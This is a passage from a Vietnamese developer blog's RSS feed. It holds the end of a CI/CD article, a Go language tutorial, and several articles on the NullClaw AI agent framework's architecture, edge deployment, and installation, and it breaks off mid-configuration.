    - run: npm run test:integration
      env:
        DATABASE_URL: postgres://postgres:testpass@localhost:5432/postgres
        REDIS_URL: redis://localhost:6379
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Auto Deploy — Vercel / Cloudflare Pages&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;deploy:
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    - run: npm ci &amp;#x26;&amp;#x26; npm run build
    - name: Deploy to Cloudflare Pages
      uses: cloudflare/wrangler-action@v3
      with:
        apiToken: ${{ secrets.CF_API_TOKEN }}
        command: pages deploy dist/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;GitOps — Deploy Bằng Git&lt;/h2&gt;
&lt;p&gt;Không ssh vào server — push config vào git repo, tool tự đồng bộ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# ArgoCD + Kubernetes
# Push image tag mới vào Git repo config → ArgoCD tự deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Badges — Cho README&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;[![CI](https://github.com/user/repo/actions/workflows/ci.yml/badge.svg)](https://github.com/user/repo/actions)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checklist Pipeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Lint &amp;#x26; type check&lt;/li&gt;
&lt;li&gt;[ ] Unit test + coverage&lt;/li&gt;
&lt;li&gt;[ ] Integration test (DB, cache)&lt;/li&gt;
&lt;li&gt;[ ] Build Docker image&lt;/li&gt;
&lt;li&gt;[ ] Push registry&lt;/li&gt;
&lt;li&gt;[ ] Deploy staging&lt;/li&gt;
&lt;li&gt;[ ] Smoke test&lt;/li&gt;
&lt;li&gt;[ ] Deploy production&lt;/li&gt;
&lt;li&gt;[ ] Rollback plan&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;CI/CD không phải công cụ — nó là văn hóa. Code push lên là code đã được kiểm tra, đóng gói, sẵn sàng deploy. Mất 1 ngày setup, tiết kiệm hàng trăm giờ debug &quot;tại sao chạy được ở máy tôi?&quot;.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions&quot;&gt;GitHub Actions Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions&quot;&gt;Workflow Syntax for GitHub Actions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/using-workflows/caching-dependencies-to-speed-up-workflows&quot;&gt;Caching Dependencies to Speed Up Workflows&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/&quot;&gt;Docker Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/cloudflare/wrangler-action&quot;&gt;Cloudflare Wrangler Action&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://argo-cd.readthedocs.io/&quot;&gt;ArgoCD Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Go Lang — Đơn Giản, Nhanh, Hiệu Quả Cho Backend</title><link>https://dopana-blog.pages.dev/blog/go-intro</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/go-intro</guid><description>Tìm hiểu Go: goroutines, channels, interface, và lý do nó trở thành ngôn ngữ backend được yêu thích.</description><pubDate>Mon, 29 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Go (Golang) là ngôn ngữ do Google phát triển, được thiết kế cho hệ thống phân tán và microservices. Nó đơn giản, nhanh, và cực kỳ hiệu quả cho backend.&lt;/p&gt;
&lt;h2&gt;Tại Sao Go?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Đơn giản — Không class, không kế thừa, không generics (trước 1.18)&lt;/li&gt;
&lt;li&gt;Nhanh — Biên dịch ra binary, gần tốc độ C&lt;/li&gt;
&lt;li&gt;Concurrency built-in — Goroutines nhẹ hơn thread rất nhiều&lt;/li&gt;
&lt;li&gt;Deploy dễ — Build ra 1 file binary, không cần runtime&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Cú Pháp Cơ Bản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import &quot;fmt&quot;

func main() {
    // Variable
    name := &quot;Alice&quot;         // type inference
    var age int = 30        // explicit type
    const pi = 3.14

    // If
    if age &gt; 18 {
        fmt.Println(&quot;Adult&quot;)
    }

    // For — Go chỉ có for, không while
    for i := 0; i &amp;#x3C; 5; i++ {
        fmt.Println(i)
    }

    // For range
    nums := []int{1, 2, 3}
    for index, value := range nums {
        fmt.Println(index, value)
    }

    // Switch — không cần break
    switch age {
    case 20:
        fmt.Println(&quot;Twenty&quot;)
    default:
        fmt.Println(&quot;Other&quot;)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Struct &amp;#x26; Interface&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Struct — giống class nhưng không có kế thừa
type User struct {
    ID    int
    Name  string
    Email string
}

// Method
func (u User) Greet() string {
    return &quot;Hello, &quot; + u.Name
}

// Pointer receiver — có thể modify
func (u *User) UpdateEmail(email string) {
    u.Email = email
}

// Interface — implicit implementation
type Greeter interface {
    Greet() string
}

// User tự động implement Greeter vì có method Greet()
var g Greeter = User{Name: &quot;Bob&quot;}
fmt.Println(g.Greet())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error Handling — Không Exception&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func Divide(a, b float64) (float64, error) {
    if b == 0 {
        return 0, fmt.Errorf(&quot;cannot divide by zero&quot;)
    }
    return a / b, nil
}

func main() {
    result, err := Divide(10, 0)
    if err != nil {
        log.Fatal(err)
    }
    fmt.Println(result)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Goroutines &amp;#x26; Channels — Concurrency Mạnh Mẽ&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func main() {
    // Goroutine — chạy hàm trong một goroutine mới
    go func() {
        fmt.Println(&quot;Running in goroutine&quot;)
    }()

    // Channel — giao tiếp giữa các goroutine
    ch := make(chan string)

    go func() {
        ch &amp;#x3C;- &quot;Hello from goroutine&quot;
    }()

    msg := &amp;#x3C;-ch
    fmt.Println(msg)

    time.Sleep(time.Second)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ví dụ Thực Tế — Fetch Nhiều URL&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func fetch(url string, ch chan&amp;#x3C;- string) {
    resp, err := http.Get(url)
    if err != nil {
        ch &amp;#x3C;- fmt.Sprintf(&quot;%s: %v&quot;, url, err)
        return
    }
    ch &amp;#x3C;- fmt.Sprintf(&quot;%s: %d&quot;, url, resp.StatusCode)
}

func main() {
    urls := []string{
        &quot;https://google.com&quot;,
        &quot;https://github.com&quot;,
        &quot;https://example.com&quot;,
    }

    ch := make(chan string)

    for _, url := range urls {
        go fetch(url, ch)
    }

    for range urls {
        fmt.Println(&amp;#x3C;-ch)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Standard Library — Mạnh, Không Cần Framework&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// HTTP Server
package main

import (
    &quot;encoding/json&quot;
    &quot;log&quot;
    &quot;net/http&quot;
)

type User struct {
    ID   int    `json:&quot;id&quot;`
    Name string `json:&quot;name&quot;`
}

func main() {
    http.HandleFunc(&quot;/api/users&quot;, func(w http.ResponseWriter, r *http.Request) {
        users := []User{{1, &quot;Alice&quot;}, {2, &quot;Bob&quot;}}
        w.Header().Set(&quot;Content-Type&quot;, &quot;application/json&quot;)
        json.NewEncoder(w).Encode(users)
    })

    log.Println(&quot;Server starting on :8080&quot;)
    log.Fatal(http.ListenAndServe(&quot;:8080&quot;, nil))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Go Module&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Khởi tạo module
go mod init myapp

# Thêm dependency
go get github.com/gorilla/mux

# Download dependencies
go mod download

# Build
go build -o myapp .

# Chạy
./myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Go vs Các Ngôn Ngữ Khác&lt;/h2&gt;
&lt;p&gt;| | Go | Node.js | Python |
|---|---|---|---|
| Performance | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐ |
| Concurrency | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐ |
| Learning curve | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| Deploy | 1 binary | Need Node runtime | Need Python + packages |&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Go là lựa chọn tuyệt vời cho:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;REST API / Microservices&lt;/li&gt;
&lt;li&gt;CLI tools&lt;/li&gt;
&lt;li&gt;Network services (proxy, load balancer)&lt;/li&gt;
&lt;li&gt;DevOps tooling (Docker, Kubernetes, Terraform viết bằng Go)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nếu bạn cần performance, concurrency, và deploy đơn giản — Go là câu trả lời.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://go.dev/doc/&quot;&gt;Go Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gobyexample.com/&quot;&gt;Go by Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://go.dev/doc/effective_go&quot;&gt;Effective Go&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/std&quot;&gt;Go Standard Library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://go.dev/ref/mod&quot;&gt;Go Modules Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>NullClaw: Kiến Trúc Vtable Và Hệ Thống Plugin Linh Hoạt</title><link>https://dopana-blog.pages.dev/blog/nullclaw-architecture</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/nullclaw-architecture</guid><description>Khám phá kiến trúc vtable-driven của NullClaw — 13 subsystem dạng interface, swap implementation chỉ bằng config, không cần sửa code.</description><pubDate>Sun, 28 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Điểm khác biệt lớn nhất của NullClaw so với các framework AI agent khác không chỉ nằm ở kích thước binary, mà còn ở kiến trúc vtable-driven — nơi mọi subsystem đều là một interface có thể thay thế.&lt;/p&gt;
&lt;h2&gt;Vtable Là Gì?&lt;/h2&gt;
&lt;p&gt;Trong Zig, vtable là một bảng con trỏ hàm — tương đương interface trong OOP, nhưng không có runtime overhead, không có GC, và hoàn toàn tĩnh.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ptr: *anyopaque + vtable
     ┌──────────┐
     │ init()   │
     │ deinit() │
     │ query()  │
     │ send()   │
     └──────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;13 Subsystem, 13 Interface&lt;/h2&gt;
&lt;p&gt;| Subsystem | Interface | Mặc định | Extension |
|---|---|---|---|
| Provider | AI Model | 50+ provider | &lt;code&gt;custom:https://api.cty.com&lt;/code&gt; |
| Channel | Giao tiếp | Telegram, Discord, Signal, Nostr... | API bất kỳ |
| Memory | Lưu trữ | SQLite hybrid search | ClickHouse, Redis, PostgreSQL |
| Tool | Công cụ | shell, file, web, git, GPIO... | Bất kỳ capability |
| Observer | Observability | Log, File, Multi | Prometheus, OTel |
| RuntimeAdapter | Runtime | Native, Docker, WASM | Bất kỳ sandbox |
| Sandbox | Bảo mật | Landlock, Firejail, Docker | Tự động detect |
| Tunnel | Kết nối | Cloudflare, Tailscale, ngrok | Custom tunnel |
| Peripheral | Hardware | Serial, Arduino, RPi GPIO, STM32 | Bất kỳ thiết bị |
| IdentityConfig | Identity | OpenClaw, AIEOS JSON | Format khác |
| EmbeddingProvider | Embedding | OpenAI, custom | Noop |
| Skill | Kiến thức | TOML/YAML manifests | Community packs |
| Scheduler | Cron | Cron expressions | JSON persistence |&lt;/p&gt;
&lt;h2&gt;Memory Stack Đa Tầng&lt;/h2&gt;
&lt;p&gt;Điểm đặc biệt là hệ thống memory của NullClaw hoàn toàn tự xây dựng, không dependency ngoài:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Vector Search: Embedding → BLOB in SQLite → Cosine similarity
Keyword Search: FTS5 → BM25 scoring
Hybrid Merge: Weighted vector + keyword
Embeddings: EmbeddingProvider vtable (OpenAI/custom/noop)
Hygiene: Auto archive + purge
Snapshots: Export/import full state
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cấu hình hybrid search:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;memory&quot;: {
    &quot;backend&quot;: &quot;sqlite&quot;,
    &quot;vector_weight&quot;: 0.7,
    &quot;keyword_weight&quot;: 0.3,
    &quot;hygiene_enabled&quot;: true
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ví Dụ: Thêm Provider Mới&lt;/h2&gt;
&lt;p&gt;Mở rộng NullClaw không cần sửa core — chỉ cần thêm implementation:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;// src/providers/my_provider.zig
const Provider = @import(&quot;../root.zig&quot;).Provider;

pub const MyProvider = struct {
    pub fn init(config: *Config) !void { ... }
    pub fn query(self: *Self, req: Request) !Response { ... }
    pub fn deinit(self: *Self) void { ... }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đăng ký vào factory, config chạy ngay:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;models&quot;: {
    &quot;providers&quot;: {
      &quot;my-provider&quot;: { &quot;api_key&quot;: &quot;...&quot;, &quot;base_url&quot;: &quot;https://api.myprov.com&quot; }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tại Sao Lại Là Vtable?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Zero-cost abstraction — không runtime dispatch overhead ngoài con trỏ hàm&lt;/li&gt;
&lt;li&gt;Testable — mock interface dễ dàng, 5,300+ tests&lt;/li&gt;
&lt;li&gt;Swap without rebuild — đổi backend chỉ bằng config JSON&lt;/li&gt;
&lt;li&gt;Isolation — mỗi subsystem độc lập, bug không lan&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Kiến trúc vtable của NullClaw là lý do nó có thể gói 50+ provider, 19 channel, 35+ tool vào một binary 678 KB mà vẫn mở rộng được. Đây là mẫu thiết kế xuất sắc cho các hệ thống cần vừa nhẹ vừa linh hoạt.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nullclaw/nullclaw&quot;&gt;NullClaw GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/documentation/master/&quot;&gt;Zig Language Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nullclaw.github.io/docs/architecture&quot;&gt;NullClaw Architecture Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/learn/overview/&quot;&gt;Vtable Pattern in Zig&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>NullClaw Cho IoT và Edge Computing — AI Trên Phần Cứng $5</title><link>https://dopana-blog.pages.dev/blog/nullclaw-edge</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/nullclaw-edge</guid><description>Chạy AI agent trên Raspberry Pi Zero, ESP32, hay bo mạch $5 với NullClaw — 678 KB binary, ~1 MB RAM, &lt;8 ms khởi động trên edge core.</description><pubDate>Sun, 28 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hầu hết các AI agent framework hiện nay đều yêu cầu server mạnh — ít nhất 1 GB RAM, multi-core CPU, và hàng trăm MB disk. NullClaw thay đổi cuộc chơi: nó chạy trên bất kỳ bo mạch $5 nào có CPU và libc.&lt;/p&gt;
&lt;h2&gt;Thông Số Kỹ Thuật Trên Edge&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Binary:       678 KB (ReleaseSmall)
Peak RSS:     ~1 MB
Startup:      &amp;#x3C;2 ms (Apple Silicon)
              &amp;#x3C;8 ms (0.8 GHz edge core)
Nền tảng:     ARM, x86, RISC-V
Dependency:   Chỉ cần libc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kịch Bản IoT Điển Hình&lt;/h2&gt;
&lt;h3&gt;1. Raspberry Pi Zero ($5)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Cross-compile từ máy phát triển
zig build -Dtarget=arm-linux-musleabi -Dcpu=arm1176jzf_s -Doptimize=ReleaseSmall

# Copy binary qua Pi Zero
scp zig-out/bin/nullclaw pi@192.168.1.100:~/
ssh pi@192.168.1.100 ./nullclaw --help
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. ESP32 Với Peripheral GPIO&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;tools&quot;: {
    &quot;enabled&quot;: [&quot;shell&quot;, &quot;hardware_info&quot;, &quot;hardware_memory&quot;, &quot;i2c&quot;, &quot;spi&quot;]
  },
  &quot;peripherals&quot;: {
    &quot;arduino&quot;: { &quot;port&quot;: &quot;/dev/ttyACM0&quot;, &quot;baud&quot;: 115200 }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;NullClaw có thể đọc cảm biến qua I2C/SPI, điều khiển GPIO, và giao tiếp với vi điều khiển qua serial — tất cả từ cùng một agent.&lt;/p&gt;
&lt;h3&gt;3. Edge Gateway Có Tunnel&lt;/h3&gt;
&lt;p&gt;Kết hợp Tailscale tunnel cho phép agent trên SBC kết nối an toàn ra internet:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;tunnel&quot;: { &quot;provider&quot;: &quot;tailscale&quot; },
  &quot;gateway&quot;: { &quot;port&quot;: 3000, &quot;require_pairing&quot;: true }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hiệu Năng So Với Framework Khác&lt;/h2&gt;
&lt;p&gt;Trên edge hardware 0.8 GHz:&lt;/p&gt;
&lt;p&gt;| Metric | NullClaw | NanoBot | PicoClaw |
|---|---|---|---|
| RAM | ~1 MB | &gt; 100 MB | &amp;#x3C; 10 MB |
| Startup | &amp;#x3C; 8 ms | &gt; 30 s | &amp;#x3C; 1 s |
| Binary | 678 KB | N/A | ~8 MB |
| Giá HW tối thiểu | $5 | ~$50 | $10 |&lt;/p&gt;
&lt;h2&gt;Hardware Peripheral Được Hỗ Trợ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Serial — giao tiếp với mọi thiết bị UART&lt;/li&gt;
&lt;li&gt;Arduino — điều khiển board Arduino qua Firmata&lt;/li&gt;
&lt;li&gt;Raspberry Pi GPIO — đọc/ghi chân GPIO trực tiếp&lt;/li&gt;
&lt;li&gt;STM32/Nucleo — lập trình và giao tiếp STM32&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;// GPIO read trong Zig — không runtime, không overhead
const pin = try peripheral.gpio.open(17);
const value = try pin.read();
try pin.write(1);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Docker Cho Edge&lt;/h2&gt;
&lt;p&gt;Thậm chí có thể chạy NullClaw trong container trên edge:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run --rm -it \
  -v nullclaw-data:/nullclaw-data \
  ghcr.io/nullclaw/nullclaw:latest \
  onboard --interactive
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Image chỉ ~5 MB với Alpine, phù hợp cho gateway edge.&lt;/p&gt;
&lt;h2&gt;Ứng Dụng Thực Tế&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Trạm cảm biến thông minh — đọc sensor, phân tích cục bộ, gửi alert qua Telegram&lt;/li&gt;
&lt;li&gt;Home automation — điều khiển thiết bị qua giọng nói + LLM&lt;/li&gt;
&lt;li&gt;Industrial IoT — giám sát máy móc, phát hiện bất thường qua AI&lt;/li&gt;
&lt;li&gt;Mesh network — IRC + Nostr + Matrix cho agent trên nhiều node&lt;/li&gt;
&lt;li&gt;Digital signage — AI assistant trên màn hình thông minh&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Ví Dụ: Smart Sensor Station&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Trên Raspberry Pi Zero
nullclaw onboard --provider ollama --model llama-3.2-1b

# Agent tự động đọc sensor mỗi 5 phút
# → Phân tích cục bộ với LLM siêu nhẹ
# → Cảnh báo qua Telegram nếu phát hiện bất thường
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hạn Chế&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;RAM ~1 MB đủ cho agent đơn giản, nhưng không chạy được LLM lớn local&lt;/li&gt;
&lt;li&gt;Phải dùng API provider bên ngoài hoặc model siêu nhẹ (Gemma 2B, Llama 3.2 1B) qua Ollama&lt;/li&gt;
&lt;li&gt;Không có UI mặc định — cần NullHub hoặc tự xây dựng&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;NullClaw mở ra khả năng chạy AI agent trên những thiết bị mà trước đây chỉ đủ sức chạy firmware đơn giản. $5 là tất cả những gì bạn cần để bắt đầu. Đây là bước đột phá cho kỷ nguyên edge AI — nơi trí tuệ nhân tạo không còn tập trung ở cloud mà phân tán ra mọi thiết bị.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nullclaw.github.io/docs/edge&quot;&gt;NullClaw Edge Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.raspberrypi.com/&quot;&gt;Raspberry Pi Official Site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.espressif.com/projects/esp-idf/en/latest/&quot;&gt;ESP32 Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/get-started/overview/&quot;&gt;Docker for Edge Computing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tailscale.com/kb/&quot;&gt;Tailscale Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Hướng Dẫn Cài Đặt Và Sử Dụng NullClaw Từ A-Z</title><link>https://dopana-blog.pages.dev/blog/nullclaw-guide</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/nullclaw-guide</guid><description>Hướng dẫn chi tiết cài đặt NullClaw qua Homebrew, Docker, build từ source, cấu hình provider, channels, và chạy gateway.</description><pubDate>Sun, 28 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hướng dẫn này sẽ đưa bạn từ chưa biết gì đến chạy được NullClaw đầy đủ — từ cài đặt, cấu hình, đến vận hành.&lt;/p&gt;
&lt;h2&gt;1. Cài Đặt&lt;/h2&gt;
&lt;h3&gt;Option A: Homebrew (Khuyên Dùng)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install nullclaw
nullclaw --help
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Option B: Docker&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run --rm -it \
  -v nullclaw-data:/nullclaw-data \
  ghcr.io/nullclaw/nullclaw:latest status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc dùng Docker Compose có sẵn trong repo:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/nullclaw/nullclaw.git
cd nullclaw
make build
make config
make up
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Option C: Build Từ Source&lt;/h3&gt;
&lt;p&gt;Yêu cầu Zig 0.16.0 chính xác:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/nullclaw/nullclaw.git
cd nullclaw
zig build -Doptimize=ReleaseSmall
zig build test --summary all
# 5,300+ tests passed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thêm vào PATH:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;zig build -Doptimize=ReleaseSmall -p &quot;$HOME/.local&quot;
echo &apos;export PATH=&quot;$HOME/.local/bin:$PATH&quot;&apos; &gt;&gt; ~/.zshrc
source ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. Onboarding — Thiết Lập Lần Đầu&lt;/h2&gt;
&lt;h3&gt;Quick Setup&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nullclaw onboard --api-key sk-or-... --provider openrouter
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Interactive Wizard (Khuyên Dùng)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nullclaw onboard --interactive
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wizard sẽ hướng dẫn bạn qua từng bước:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Chọn AI provider và nhập API key&lt;/li&gt;
&lt;li&gt;Cấu hình model mặc định&lt;/li&gt;
&lt;li&gt;Thiết lập channels (Telegram, Discord, ...)&lt;/li&gt;
&lt;li&gt;Cấu hình memory backend&lt;/li&gt;
&lt;li&gt;Thiết lập mức độ tự động (autonomy level)&lt;/li&gt;
&lt;li&gt;Cấu hình security (sandbox, pairing)&lt;/li&gt;
&lt;li&gt;(Optional) Thiết lập Nostr&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3. Cấu Hình provider&lt;/h2&gt;
&lt;p&gt;File config nằm ở &lt;code&gt;~/.nullclaw/config.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;models&quot;: {
    &quot;providers&quot;: {
      &quot;openrouter&quot;: { &quot;api_key&quot;: &quot;sk-or-...&quot; },
      &quot;anthropic&quot;: { &quot;api_key&quot;: &quot;sk-ant-...&quot;, &quot;base_url&quot;: &quot;https://api.anthropic.com&quot; },
      &quot;groq&quot;: { &quot;api_key&quot;: &quot;gsk_...&quot; },
      &quot;ollama&quot;: { &quot;api_key&quot;: &quot;ollama&quot;, &quot;base_url&quot;: &quot;http://localhost:11434&quot; },
      &quot;deepseek&quot;: { &quot;api_key&quot;: &quot;sk-...&quot; }
    }
  },
  &quot;agents&quot;: {
    &quot;defaults&quot;: {
      &quot;model&quot;: { &quot;primary&quot;: &quot;openrouter/anthropic/claude-sonnet-4&quot; }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hỗ trợ 50+ provider — từ cloud (OpenRouter, Anthropic, OpenAI) đến local (Ollama, custom endpoint).&lt;/p&gt;
&lt;h2&gt;4. Kết Nối Channels&lt;/h2&gt;
&lt;h3&gt;Telegram&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;channels&quot;: {
    &quot;telegram&quot;: {
      &quot;accounts&quot;: {
        &quot;main&quot;: {
          &quot;bot_token&quot;: &quot;123456:ABC-DEF...&quot;,
          &quot;allow_from&quot;: [&quot;YOUR_USER_ID&quot;],
          &quot;reply_in_private&quot;: true
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Discord&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;channels&quot;: {
    &quot;discord&quot;: {
      &quot;accounts&quot;: {
        &quot;main&quot;: {
          &quot;token&quot;: &quot;disc-token&quot;,
          &quot;guild_id&quot;: &quot;12345&quot;,
          &quot;allow_from&quot;: [&quot;user1&quot;]
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nostr (Phi Tập Trung)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;channels&quot;: {
    &quot;nostr&quot;: {
      &quot;private_key&quot;: &quot;enc2:...&quot;,
      &quot;owner_pubkey&quot;: &quot;hex-pubkey-cua-ban&quot;,
